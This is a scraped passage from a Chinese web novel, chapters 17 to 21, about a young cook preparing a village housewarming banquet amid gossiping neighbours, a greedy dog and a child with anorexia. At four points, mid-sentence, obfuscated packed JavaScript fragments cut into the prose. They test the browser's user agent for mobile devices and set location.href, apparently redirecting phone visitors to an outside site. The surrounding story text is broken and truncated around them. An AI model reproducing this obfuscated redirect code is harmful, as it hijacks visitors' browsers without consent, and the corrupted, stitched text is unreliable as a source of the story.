安茯苓新家小区离村里不远，2公里。开发商当初在学校周围建房子，把安置区的位置一起规划进去了。 小三轮突突突，花个几分钟就到了安茯苓家小区楼下。 安珀到的时候，两栋楼之间的广场正在搭棚子。 “安珀，这儿。” 剪着呆萌短发，戴着一副无边框眼镜的女生正朝安珀招招手。 安珀扬起嘴角，甩下电动车飞扑过去。两人搂一起，在原地蹦蹦跳跳。 “嗷嗷——” 压抑的狗叫艰难从腿下传出来，安珀低头一瞧。一只毛长卷曲、形似拖把的小狗，奋力从两人腿间缝隙挤出来。 安茯苓后蹦一大步，抱起拖把狗，摸摸狗头。“对不起，把你忘了。” 拖把狗舌头耷拉在一边，呼哧呼哧喘着气，狗眼白翻上天。 不知为何，安珀从里面读出了强烈的歧视的味道。 后面好像也有…… 安珀一卡一卡僵尸扭头，一个范围更大的眼白直冲冲出现在她的视网膜里。 三轮车后座，安栗大佬姿势躺在轮椅里，嘴角溢出一声声冷哼，眼底写满了讥诮。 我倒要看看你什么时候把我放下来！ 安珀拍了拍脑门，立马跑回去把安栗抱下来。 这下没有漏的了。 安珀和安茯苓一边去后厨一边聊。 “怎么又养了只狗？” 提到这个，安茯苓镜框有气无力垮下来。“上班路上缠上来的。” 安珀露出一副早料到是如此的表情。 安茯苓这人有些神奇，动物缘好到爆，无论猫狗见到她都会夹着嗓子上来贴贴蹭蹭。 因着这个体质，她从小顺手救过无数只小动物，现在还有几只被她养在家里。 她长大后也就顺理成章学了动物医学专业，毕业后在镇上的兽医站上班。 上班后，安茯苓更张狂了。别人不要的动物都往家里搬，俨然一个流浪动物兜底站。 以前住村里，地方大，随便一个角落都能安置。现在搬到小区里，安珀不认为安茯苓爸妈能继续容忍她往家里捡猫狗。 果不其然， 安茯苓上下打量了安珀一眼，把拖把狗举到她面前。“要不，你收养拖把。” “求求你了，帮帮忙。我爸妈明令禁止拖把进家门，我骗他们拖把是兽医站住院的狗，他们才让拖把住阳台住两天。吃完席，拖把就得被送走了。” 安珀干呵呵两声。她也想，但她是剧里躺边上的丈夫，有心无力。 如果说，安茯苓天然亲近小动物，那她就是天然讨动物厌恶。 路上，她碰见标记地点的狗，一时兴起嘬嘬两声，那狗当场翻了个大白眼，还蹬几下土，扬长而去。 安珀想了想，面朝拖把清清嗓子。“嘬嘬嘬。” “嗷嗷嗷——” 拖把奋力往前拱，白牙光亮锋利，唾液四溅。 安珀摊开手，脸上古井无波。她早料到了。 安茯苓：…… 去后厨的路上，安茯苓再也不提让安珀收养的鬼话了。 两人一言不发到了后厨，安珀一只脚踏上厨房门槛的时候，里面传来一声爆呵。 “饭菜干了黏在碗上，你让我家的客人怎么吃？” 17. 第 17 章 说是后厨，其实也不太准确。 铁架子围成一圈，架子上挂了些红色的布，应该是物业临时划出来，专门给办搬家宴做后厨的地方。 安珀透过红绸布的空隙，隐隐瞧见不同地块上架了好几口锅，锅底下的柴火烧得噗噗旺盛，农村特有的烟气四散。 还挺多人办搬家宴，安珀心想。 “你看看这碗，饭干了黏在上面，扣都扣不下来，别人怎么下嘴。” “还有这个，葱和白菜干干贴在碗底，你准备租方便面调料包？” “桌子一抹一手油，人家压根不想坐上桌。我安建宏就没办过这么脏的宴会，说出去我都不好意思请人上门。” 听着听着，安珀恍然大悟。她说声音有点熟悉，原来是安茯苓她爸。 “安老板，差不多得了，这几天你们小区都是办搬家宴的。你要租，别人也要租。我可是看在你和陈大厨同村的面子上，硬生生凑了一套给你。” “你不要？你们小区有人明天也想办，正愁租不到碗筷。我找他去。” 男声带着中年人的油滑感，话里死死压住安茯苓她爸一头，笃定他别无选择。 好日子挤到一起，安建宏确实别无选择。 “行了，行了，东西留下。” “这就对了，碗筷洗洗就干净了，那么讲究干嘛。”中年人明里暗里讽刺一遍后，挺着啤酒肚走了。 “其实他和陈大厨是一伙的。”安茯苓抱着拖把，凑到安珀耳边小声道。“陈大厨吃回扣，他也暗中抬高租用价格。” “以前村里人认可陈大厨手艺，他租的价格贵点就贵点。大好的日子，不好计较太多。现在陈大厨席面做成那个鬼样子，别人也不愿意惯着他了。” “我爸没来得及换。周边的被租完了，只剩他家的了。” “他看我爸换掉陈大厨不爽，故意的。” 安珀皮紧了紧，打定要提起十二分的精力对待搬家宴。 别人对什么日子不在意，在席上吃到什么难吃的菜可是会记得一清二楚。 她可不想出道即out。 首先要把这些陈年老垢的碗筷洗干净。 “茯苓，找几个人过来，先把碗洗了。” “现在？”安茯苓瞪着和拖把一样的圆眼睛。“哪来得及，五点半要开餐了。” 她把手表伸到安珀面前。“喏，一点半了。” “没事，我有好用的清洁剂。” 上次在商城买的清洁剂，她在店里用了几回，除油污效果特别好。 她估摸着这边的锅和锅具可能不太干净，出来的时候把清洁剂也带上了。 正好，派上了用场。 安茯苓噔噔噔跑进去，和她爸讲了几句。她爸一个电话叫来一堆婶子。 婶子们一路八卦，嘴巴嬉笑不停进了后厨。 “安建宏，听说你家换厨师了？” “换谁不好，偏偏是安珀那个小丫头片子。她自己的店一天到晚没生意，做出来的东西能好吃？” “还不如陈大厨呢！” “陈大厨手脚确实不干净，但你又不要他采购，怕什么？” 安珀站在婶子们背后，默默听完了全程。 巧了不是，这次管不住嘴巴的又是花绵绸婶子。 “婶子，几年前你家孙子办周岁宴，陈大厨把你买的调料全开了，你跑到他家和陈奶奶干了一架，忘了？” 安珀如同一抹幽魂，慢慢飘到婶子背后，语调平平说话。 “啊！”花绵绸婶子脸上的皮抖了抖，嘴唇哆哆嗦嗦。“安珀你在怎么不出声？” 安珀不客气将锅铲怼到花绵绸婶子耳侧，“出声了岂不是太影响婶子发挥了。” “我听婶子的口气，对做宴会上的菜颇有心得。干脆别纠结陈大厨的人品，一步到位请婶子来掌勺好了。” “我哪会做大菜。”花绵绸婶子嬉皮笑脸撇开锅铲。 锅铲更进一步，安珀不屑哼声。“不会你瞎哔哔什么？” 花绵绸婶子噤声，缩起脖子蹲到大盆前洗碗去了。 盆里早已放满水，安珀每个盆都扔了一粒清洁剂，婶子们只管洗。 叫这群每天在村口情报站开会的婶子们完全安静是不可能的。 几秒寂静过后，婶子们嘴不得闲又开始八卦，不过这次老实换了个对象。 碗在泡沫里转上几圈，再冲冲，一个人家的大事小事，包括小时候尿裤子的事都扒出来了。 连续洗了几个碗，终于有婶子发现不对劲。 “咦，陈矮子家的碗有花。” “真的啊！吃了挺多回，一直以为他家碗是瓷黄色的。” “哎呦，干饭粒轻轻一扣就下来了，碗边上也没痂。茯苓，你们提前泡过了？” “没呢。”安茯苓轻轻摇摇头。“刚送过来一会，哪有时间泡。” “安珀扔了粒清洁剂在里面。” 这次洗碗确实轻松不少，沉积的污垢一下子搓下来了。安茯苓觉着和平常洗碗没什么不同，除了安珀自带的清洁剂。 闻言，花绵绸婶子甩干手，屁颠屁颠凑到安珀边上。“安珀，你的清洁剂哪买的？我也要去买一瓶。” 安珀心想，你这辈子都买不到了。 “朋友送的，还在研发中，市面上没有。”说出的话最终缓和了点。 花绵绸婶子铩羽而归，转过身，撇撇嘴。“小家子气。” 安珀哭笑不得，果然她不适合说话拐弯。 她现在没时间管花绵绸婶子，她得抓紧时间出餐，晚上还有好几桌等着。 菜已经让同村帮忙的人备好了，安珀只用炒了。 第一道菜是老少皆宜的全家福。 大火将油烧热，盖满锅底的肥肉倒进去，再扔上一把姜丝。 热油翻滚，肥肉边缘卷曲，体积逐渐收缩，空气里飘出猪油的香气。 木耳香菇笋丝加进去翻炒几下，食材本身变软，各种本味均匀合到一起。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698802|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大桶骨头汤倒满锅的三分之二，火腿肠、猪肚、炸过的鹌鹑蛋统统放进去煮。 锅里慢慢咕嘟出小泡，上空的气味也变了，不再是纯粹的猪油香。 火腿、香菇、猪肚，不同的香气悄悄探出一脚，很快又缩了回去，和其他食材抱在一起，完全辨不清煮的是什么。 “好香！安珀煮的什么？” 花绵绸婶子伸长脖子，飞快瞄了一眼。“全家福，又不是没吃过，至于吗？” “你不懂，像我小时候吃的席上的全家福。调料没那么多，全是食材融合一起的味道。” 花绵绸婶子再仔细闻了几口，细细想了想。“是有点像。” “陈大厨都做不出这个味。”花绵绸婶子喃喃。“安珀的手艺这么好？” 几个婶子加快洗碗的速度，可不能上了菜，因为碗没洗完吃不了饭。 伴着全家福的香气，婶子们的速度又快了几分。 全家福的气味也快速转变了几下。 鱿鱼花、大红椒、鲜肉放进去汆熟，再加上蒸好的肉丸一起煮煮。 咕嘟咕嘟—— 大锅里涌起小喷泉，清澈的骨汤彻底转变成乳白色，有点食物漏下来的碎渣渣跟着小喷泉滚了一轮又一轮。 滚了不知道多少圈，一股奇异的香猛然爆发出来。安珀舀上一勺汤，从上空浇下去。 汤液丝滑无比，是肉眼可见的浓稠。 安珀撒上些胡椒粉。 完成！ 锅边的操作台堆满了装汤的大海碗，婶子们先把这些洗出来了。 安珀满满舀上一勺抖进碗里，边上立即有帮工把斜切椭圆的蛋卷铺一个圈，再在上面撒上点葱花。 素白的花纹盛着色彩极多的全家福，极易让人把注意力集中到碗里的内容。 流水线作业，安珀效率极高地把锅里的菜清完了。 安珀马不停蹄开始制作下一道菜——红烧原汁羊肉。 洗干净的锅里补满清水，大块羊肉直接冷水下锅，一整瓶牛栏山撬开口，哐哐倒进去。 木柴架在锅底，烧出木质清香。上面，锅边先是迅速漫起密密麻麻的小泡，变大、破裂，然后在锅里翻滚。 白酒的香味溢出，木质清香也在源源不断往上拱，莫名组成小时候的记忆符号。 浮沫渐渐飘出来，安珀一点一点把它们打出去，直至水面清澈不少。 从最中央的地方捞起羊肉，转到高压锅。 羊肉挺多的，安珀用了几个大高压锅才把羊肉分完。 大料和葱姜下进去，开盖煮个几分钟。 淡淡的羊膻味飘出来，形似药味的大料紧随其后，一瞬间把羊膻味压回锅里。 安珀见时间差不多，立马盖上几个高压锅。 烟熏气的火舌放肆燎着锅边，烫出一道道黑色的痕迹。 嗤嗤嗤—— 高压锅的塞子像个陀螺，不停地转，往四周喷出白气。 羊肉的香气发散到四处。 18. 第 18 章 羊肉要在高压锅里炖得软软耙耙，皮肉DuangDuang才好吃。 插着这个空隙，安珀来炒几个猛火菜。 底下多架几根粗木棍，火势噌噌上涨，油锅泛红，白烟缭绕。 安珀沿着锅边浇上几圈宽油，润锅。另一只手颠了颠，把猪肚多余的腌制料水抖掉。 刺啦—— 白烟噗地扑上来，锅里发出急促的爆炸声。 安珀扇了扇，赶紧把猪肚炒均匀。 火正旺，粉白的猪肚泡在油里，逐渐蜷缩成一个个小弹簧、肉质紧实。 清澈的油混合了猪肚里头的东西，成了金黄的油汤。 搅个几圈，安珀就收手捞猪肚了，整个过程不超过八秒。 这点油放到一边，重新下入油，剁椒和粗蒜沫放里炒出香味。 不出一会，剁椒和粗蒜沫的颜色变得鲜亮，一股发酵的微酸传出来，然后是柔和的辣香。 牛栏山和生抽老抽浇在中间，调出一个猪肚的底味。 爆过的酒把剁椒那点淡淡的酒香也带出来了，在空旷的场地随意飘散。 过了油的猪肚倒进去，搅几下让猪肚入味。青椒和小葱扔进去配个色。 红绿青亮的爆炒猪肚出锅。 浓郁金黄的汤汁占满小半个碗。 勾引人的辛辣味混着猪肚的香气从不同的碗里散出来，旁边的工业风扇更是出了一把力，呼呼地把香气吹到不同地方。 刚才的全家福婶子们忍住了，毕竟那菜味道淡，小孩子喜欢吃的居多。爆炒猪肚可不一样，正正宗宗的口味菜。 辣、脆，底料汤浇在饭里，一下子能嗦下去半碗饭。 香！ 远处传来喧哗嘈杂的声音，隔了一层，有点听不清。从后厨这个地方，隐隐约约能看到一波一波人往大棚里面挤。 刚摆好的桌子几分钟不到就围了一圈人。 婶子们眼珠子盯着剩余不多的板凳，贪婪吸着爆炒猪肚的香气，搓碗的速度又快了。 洗碗盆附近一片寂静，没人再八卦别人家那点破事，婶子们心里只剩下一个想法。 死手，快洗。位置要被别人占完了。 吃不上饭了！ 安珀又陆陆续续炒了几个菜，后面高压锅的嗤嗤声渐渐小了，肉香随着蒸汽的喷出越发浓郁。 时间刚刚好，开锅。 煮熟的羊肉缩水不少，腾腾冒着白雾。晶莹剔透的皮连着纹理感十足的羊肉，在筷子下轻轻抖动。 安珀如数夹出到案板。有块小点的羊皮带筋滑溜溜的，筷子从边上擦过去，顺当使个力，羊肉骨碌碌滚了出去。 身后，锐利的目光从杂乱的毛发丛穿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704966|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，灰影闪电般蹿出来。短腿蹙了下，连番在地上滚几个圈。 羊肉颠颠往前，灰影扑腾扑腾靠近。 油亮发光的羊肉近在咫尺，灰影一个恶狗扑食。 嗷呜 纯正的羊肉味，从口通到鼻子，在数以千万计的敏感细胞上爆发。 灰影喉咙发出呜呜，白粒牙在带筋羊肉上啃了一口又一口。 “哎——”安珀伸出手。“拖把，有酒，别吃。” “嗷——嗯嗯……”拖把迅速朝后咬一口。见是安珀，嘴巴停了一两秒，默默后移，尴尬地舔舔鼻子。 一下，两下。 短肥的身子也一下两下扭扭，杂乱的毛甩到不同方向，发出嗯嗯的撒娇声。 有种很忙但是不知道在忙什么的感觉。 羊肉三两下进了拖把的肚。安珀狗嘴夺食失败，暗暗记着等会让安茯苓给它检查一遍。 吃完后，羊肉自带的油脂留在嘴巴边，拖把舔了一口又一口。直到舔不出任何肉味，它昂起脖子蹲坐在案板前，圆眼躲在长长的刘海后，眼巴巴看着桌子上切好的羊肉。 安珀脚尖把它挪开，“拖把，别碍事。” “嗯嗯嗯——”拖把的小短尾摇出残影。 安珀顿了顿，“嘬嘬嘬。” “嗯嗯嗯” 安珀：…… 19. 第 19 章 “安建宏办个席扣扣搜搜，全家福上这么点哪够吃。” 桌上坐的全是同村人，对花绵绸婶子放下碗骂娘的行为见怪不怪。他们瞥了眼，夹菜的频率又加快了点。 你一筷子我一筷子，后面上的几个蒸菜剩了点蒸气水。 花绵绸婶子激情开炮后回来一看，像只被掐住脖子的鸡，哑炮了。 神嘞，八辈子没吃过饭？ 花绵绸婶子端起碗，眼疾手快抢到了最后一块鸡肉。 鸡肉酸酸辣辣，醋放在肉里很香，吃下去唾液不断分泌，沉寂了一天的胃口终于打开了。就是顾着说话，只捡了块鸡肋骨，肉特别紧。她牙不好，咬了一会，糊一嘴的口水，鸡肉破个小口。 好在新上桌的爆炒猪肚解救了她无菜可吃的窘迫。 这次，菜刚搁好，花绵绸婶子撅起屁股，抄起汤勺，连猪肚带汤舀了冒尖的一勺放碗里。 猪肚跟猪尾巴似的盘成一圈，一个勾一个，杂乱无章堆在碗里。 辛辣气味不停飘出刺激她的鼻腔。 花绵绸婶子一夹一大把塞进嘴里，吱嘎吱嘎。 猪肚脆弹有韧劲，像个柔软的橡皮筋，在压力十足的牙关间灵活走位。剁椒咸咸的，发酵使它的辣度降低，配猪肚的时候不至于抢占上风。 汤汁更是一绝，微微的辣味带点酸，猪肚的鲜味更是浸在里面了。 花绵绸婶子咂咂嘴，空口吃总感觉少了点什么。 有人陆陆续续经过中间空出的过道，花绵绸婶子眼睛一亮。是了，这道菜最适合配饭。 她起身盛了满满一碗饭，拨出点给她小孙子吃。 小孙子嘴角挂点火腿肠碎屑，就这么睁着圆眼，静静看着碗里的饭变多。 奇了怪了，平常多装一点饭都要大喊大叫个不停。今天装了一碗饭居然没出声？ 她的乖孙长大了！ 花绵绸婶子欣慰不已，声音更夹了。“乖孙，不够奶奶给你盛，多吃点。” 照顾完她孙子，花绵绸婶子赶紧把碗里的饭拌一拌。 席上的饭偏硬，米饭松松散散，刚好将多余的汤汁吸干净。 通体白的米饭变得金黄油润，顶端反射出亮光。红红的剁椒穿插其中，熟悉的辣味勾起以往的记忆，令人胃口大开。 作为一个吃辣星人，花绵绸婶子还是喜欢重口味菜。 猪肚拌饭后，她吃饭的速度更快了。划拉划拉几下，小半碗饭下去了。 和着饭一起，剁椒没那么咸了。鲜咸的汤汁也找到最好的承载物，香味最大程度在口腔爆开。 猪肚一口好几个，牙咬起来完全不费力。 安珀火候掌握得好。再多炒个几秒，她该咬不动了。 桌上也有人和花绵绸婶子想法一样。 “这猪肚真是不错，有嚼劲，生脆。辣得我想多吃几碗饭。” “老弟，你说错了，这道菜最适合下酒。来两杯？” 被叫老弟的人盯着桌上的白酒咽了咽口水，底气不足拒绝。“不……不了。” “哎，老弟，弟妹那边我去解释。错过这么好的下酒菜，下回喝的酒就不是这个味了。” 旁边的人三两下开了瓶，咕咚咕咚倒满两个酒杯，推了一杯到他跟前。 两人嘿嘿一笑，端起酒一口闷，再夹上一块脆辣猪肚，同时发出声满足的喟叹。 “哈，爽！” 花绵绸婶子抬头望去，被喊老弟的那人她认识，是她们村的李老头。 前些天喝得醉熏熏的摔在田埂边睡了一夜，早上才被上学的孩子发现，找人搬回他家的。 回去后没多久，李老头家噼里啪啦。他老婆子训人的话村口的狗都听到了。 自那以后，李老头老实了不少，无论对谁都宣称戒酒了。 现在，花绵绸婶子看着他一杯接一杯，鼻尖的酒气渐渐冲天。 今天晚上有热闹看了。 花绵绸婶子期待的热闹还没上演，红烧原汁羊肉先上来了。 羊肉汤幽幽冒着热气，香辣味一股接一股涌入鼻腔，勾得人食指大动。 花绵绸婶子的汤勺就没还回去过，羊肉上桌，她立马抢占第一勺。 她挑了好几块带皮的，下面连着带筋的肥肉。动一下，带皮羊肉也跟着DuangDuang的。 带皮羊肉一片大概有手掌长，只要一片就能把嘴里塞得鼓鼓囊囊。 这样反而发掘了羊肉最适合的吃法。 羊皮软软糯糯、带筋肥肉弹牙可口、瘦肉软烂成丝，在嘴里滚成一团。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716199|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 别看羊肉紧实，犄角旮旯里可是藏了不少汁。咬一口，溅出来。辣椒的香气，羊油的醇厚，芹菜的刺激味，一齐在味蕾上舞蹈。 羊肉的膻味留了一点点在汤里，一下子让人眼前一亮。 还得是本地的黑羊，这味道够正！ 花绵绸婶子一块接一块塞嘴里，红汤糊嘴，油亮油亮的。羊肉炖得耙耙的，她的牙毫无压力。 她吃得欢快，忽然，旁边一股力拽住她衣角。 花绵绸婶子侧过头，她小孙子把沾了一层饭粒的碗推到她面前。 “没了，还要。” 这…… 花绵绸婶子犯了难。 全家福吃完了，她的羊肉还没吃完呢！ 无论在哪个角度，她都不想起身。 时间滴滴答答过去，小孙子敏锐察觉到情况不对。 嘴角向下撇，他张开嘴，扁桃体毫无保留展览出来，比看医生的时候更标准。 脑子里的警报器疯狂示警，花绵绸婶子反手捂住小孙子嘴，安抚道：“找，奶奶马上给你找。” 花绵绸婶子三两下扒完羊肉，汤一口闷，再顺手抹下嘴，嘴巴鼓鼓的抱起小孙子去找全家福了。 过道从头走到尾，她一桌桌瞧过去。 空的， 空的， 全是空的。 娘嘞，饿死鬼投胎啦！ 每个桌上每道菜吃的干干净净，连碗里剩的菜汤都被刮了一遍又一遍，半点不浪费用来拌饭了。 她看到的，小孙子自然也看到了。 小孙子眼眶含泪，嘴巴嘟起。 花绵绸婶子颠了颠，讨好保证。“我们去后厨，后厨多得吃不完。” 她火急火燎跑过去，人没进门，嗓门先喊起来了。 “安珀，给我装点全家福带回去。” 安珀不紧不慢咽下一块羊肉，筷子点点没走远的老奶奶背影。“最后一份，她刚刚打走了。” 泪珠成串跑出来，小孙子在怀里拼命蛄蛹。花绵绸婶子一时没抱住，真让他挣脱了。 “哇，奶奶是大坏蛋。”刺耳的尖叫响遍后厨。 小孙子四肢在地上划水，来回滚动，全身上下沾满了灰扑扑的粉末。 安珀：…… 20. 第 20 章 “小满，奶奶带了很好喝的汤，要不要试一下？” 身穿大面积碎花裙，头发盘成圈整齐梳在脑后的老人推开门，小心探出个头，轻声问。 夕阳透过窗框，斜斜照进里面，顺带把沙发上的小女孩裹进阳光的范围。小女孩坐着一动不动，任由动画片里的汪汪队激情喊口号。 电视机的光影变幻，五彩斑斓映在她瘦削的两颊。 老人将餐盒的盖子掀开一角，全家福的香气蜿蜒溜进房间。 小女孩眼珠子转了转，扔掉遥控，手撑住沙发嗖地滑下来。她噔噔噔跑过来，踮起脚尖朝老人怀里瞧。 “什么？” 老人又将之前的话重复一遍，“奶奶试过了，特别好吃，尝尝好吗？” 说完，老人期待看着她。小女孩歪歪头，伸出手扒拉盒子。 “没吃过的。” “对，小满之前没吃过，可以……” “不要。” 小女孩声音清脆，推开盒子，转身噔噔噔爬上了沙发。 老人叹口气，随手把打包来的全家福搁到桌上。然后去厨房给小满泡了杯营养粉。 如果花绵绸家的小孙子见到这一幕，一定会在地上鬼哭狼嚎加胡乱打滚。 他没吃上的全家福被人截胡后，竟然浪费了。 是的，小满奶奶就是那个快他们一步的老太太。 她在席上见许多小孩子喜欢，想着小满可能会试试，没想到还是不行。 小满奶奶静静瞧着杯子里的营养粉打着旋，等它归于平静，温度和手背差不多，她才端出去大喊：“小满，过来，吃饭了。” 小满一个滋溜跑过来，接过杯子吨吨吨喝完，嘴巴留下一圈白白的污渍。 小满奶奶拿卫生纸给她擦嘴巴，小满左闪右闪，全家福的影子就在她的视网膜上蹦蹦跳跳。 忽然，她顿住，任由奶奶给她擦干净嘴。 “白的。”小满指着全家福，又指指杯底剩下的一圈的营养粉。“也是白的。” “它们一样，奶奶。” 小满奶奶仔细瞧了瞧，发现小满说的是下半部分。 上层漂浮着油沫，呈金黄色。下边撇去了油脂，偏黄的白，完全是食材炖出来的颜色。 小满还小，不太明白两者的中间地带怎么形容，于是统一称为白色。 小满奶奶想了想，干脆将错就错。“对，一样。” “我还要喝。”小满捧出杯子。 小满奶奶愣住了。她期待了许久小满主动吃东西，这一秒竟猝不及防实现了。 眼眶热热的，仿佛有什么东西流出来了。小满奶奶吸吸鼻子，拿个勺子小心把表面上的油撇开，只让原汤倒进杯子。 今天席上的菜太火爆了，很多人都打了点菜回家去吃。轮到她的时候，菜已经不剩多少了，她费力刮刮桶底也就凑了一碗。 留给小满的汤自然不多，堪堪大半杯。 同样，小满吨吨吨喝完了。 她咂吧咂吧嘴，疑惑歪歪头，味道怎么不一样？ 嘴巴咸咸的，还有一股说不出来的鲜味，一直留在嘴巴里回味。 小满没吃过这种味道。她的世界只有甜。 “奶奶，再来一点。”小满踮起脚，小短手费力把杯子往餐盒的方向推。 餐盒里面只剩些渣渣，小满奶奶挑出个蘑菇。“这个也超级超级好吃，小满吃一口？” “不要。”小满扭过头。 小满奶奶反手吃掉蘑菇，眉眼间有些愁。 饭都吃完了，她上哪给小满去找汤喝？不知道她做的小满认不认。 “小满明天和我一起去吃饭好不好？有一模一样的汤哦！”小满奶奶加重一模一样的字音。 小满小鸡啄食点头，“奶奶记得叫我。” 唰一下，之前忍住的泪终于落下了。小满奶奶捂住颤抖的唇，声音呜咽。 她没想到……没想到这一天真的来了！ 当初小满出生，他们希望小满“人生小满万事全”，于是给她取名小满。 不知道是不是求得太多，小满压不住这个名字，长到三岁的时候，身体出现了一系列问题。 先是挑食。他们没在意，这个年龄段小孩子挑食很正常。 然后是吃什么吐什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725362|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们意识到问题大了，赶紧带着小满去检查，最终被医生诊断为厌食症。 接下来是积极配合治疗。可小满的病情不见好转，站在同龄人边上像一根瘦麻杆。她毫不怀疑，一阵风吹过来，小满就会飘走。 这时，她忽然想起老一辈说的：小孩子得接地气。 死马当活马医，她和小满爸妈大吵一架，咬牙把小满带回了乡下。 前路迷茫，可她还是抓住了一抹曙光。 袖子擦擦泪，小满奶奶打定主意，她明天就算是抢，也要给小满抢一海碗全家福。 金秋村， “爸爸爸爸，你是坏蛋，背着我吃独食。明天我也要去，要去！” 男人被吵得不行，挪开脚。“带你，带你。” …… “哦哟，这羊肉做得不错。香香辣辣，软耙入味。老婆子，我们明天也去吃席。” “不好吧。随300去5个人。” “多加点。安建宏搬到小区去了，随300多寒酸。” 同样的事情发生在不同的角落。 安珀不知道明天一堆人临时决定来吃正餐，她还在按正常的量备菜。 梅菜扣肉的扣肉得提前做出来。 刚刚猪肉摊老板又送了半扇猪过来，安珀让他把猪五花分出来，切成方块。 猪五花堆满一个锅，清水加到满，葱姜料酒一起放进去。 火刚发起来不久，势头不大。安珀拿火钳戳戳底部，让空气流通进去，又在上面横竖架了两根粗柴。 风呼呼地吹，火噗地燎上来，空气逐渐扭曲变形。 热量增加，水开了，裹挟一些暗红的杂质喷上来，落下去。 安珀挑了根筷子，将猪五花插了个对穿。 可以了。 五花肉全被安珀捞了出来，一块一块颤颤巍巍堆在盆里。 煮过的肉缩水不少，肉皮抖抖的，散发着一股最原始的肉味。 五花肉翻过来，牙签在上面戳上密密麻麻不规则的小孔。帮工们见状，纷纷抽上几根牙签，上前来戳猪皮。 没一会，一盆五花肉被一帮人解决了。 21. 第 21 章 哐当哐当—— 一整瓶老抽浇几圈，深深浅浅落在猪皮上。 安珀拿起一块猪五花，掌心按压用力把酱油涂满在肉皮上。 密密麻麻的牙签孔吸着吐着，在表面生成深浅不一的酱红色坑洞。 等猪五花的酱油抹完，油的温度也上来了。 一根筷子探了探，小泡泡像是磁铁的另一面，嗖嗖围上来。 油温正好。 安珀用个铁钩子，一个接一个往油锅放。 噼里啪啦—— 油猛地上涌，在中心形成小喷泉。小泡变大泡，然后嗖地溅出。没有方向，没有规律，只是不分敌我进行热浪攻击。 安珀索性盖上个大盖子，从根本上解决。 找不到发泄出口，油反而变得更加爆怒，砰砰个不停，发出闷闷的声音。 安珀赶紧撤出一根柴，免得火太大，把扣肉炸糊了。 噼里啪啦，刺啦刺啦—— 声音渐渐小了，猪五花的水分差不多炸干净了。 安珀掀开盖子，勾出猪五花，咚地一声扔进带冰块的大盆。 炸一块，扔一块，周而复始。 油锅里的猪五花清空，泡冰水的猪五花倒是分了两个盆。 这么点时间，够它出虎皮了。 安珀捞出一块检查，果然—— 五花肉表皮皱皱的，松松软软，鼓起不规则的纹路。底下的肉倒是有了点焦边，紧实得很。 “哎呦安珀，扣肉做得不错，闻起来香一阵一阵的。有没有多？我找安建宏买点回去吃。” 侧面传来一声惊奇的大嗓门，安珀回头一看，来人头发染着时下婶子间最流行的枣红色，嘴巴不断发出“啧啧，哦呦”等诸如此类的气声词。 “秦婶子啊。”安珀笑笑，打声招呼。“多准备了点，明天有剩我喊你。” 秦婶子以前住安珀对门。她爸妈常年不在家，秦婶子会三天两头喊她和安栗吃饭。 后来她家建新房子搬到村中心那块，她和安栗也上了寄宿学校，见面的机会就少了。 最近一次联系还是安栗出车祸，她私下发了500过来。 “我都弄好，回家随便蒸蒸很方便。我记得秦叔喜欢吃肥的，留一块偏肥的给你们。” “行行行。”秦婶拍拍安珀肩膀，“曹荷花大嘴巴到处说你接了安建宏家的搬家宴，我还不信。” 曹荷花就是花绵绸婶子，她在村里还有另一个外号叫曹大嘴。 “我晚上吃这桌席，哎哟，香得我多吃了几碗饭。我还猜安建宏从哪请来的大厨，后来想到曹大嘴的话，跑到后厨一看，真是安珀你啊！” “安珀你这手艺学得好。哪天家里办宴席，我让秦叔请你。” “有时间来家里吃饭。” 安珀轻轻应声好，“秦婶也可以来我店里吃饭。” 秦婶一拍脑袋，“是了，差点忘了。忙完这段时间，我一定带你秦叔去捧场。” 说完，秦婶风风火火跑了。安珀失笑摇摇头，难为秦婶忙不赢还跑到后厨来瞧她一眼。 说话间，帮工把扣肉切成一片片，顺带将安珀调好的料汁里里外外抹均匀。 杂事有人做，安珀正好腾出手炒梅干菜。 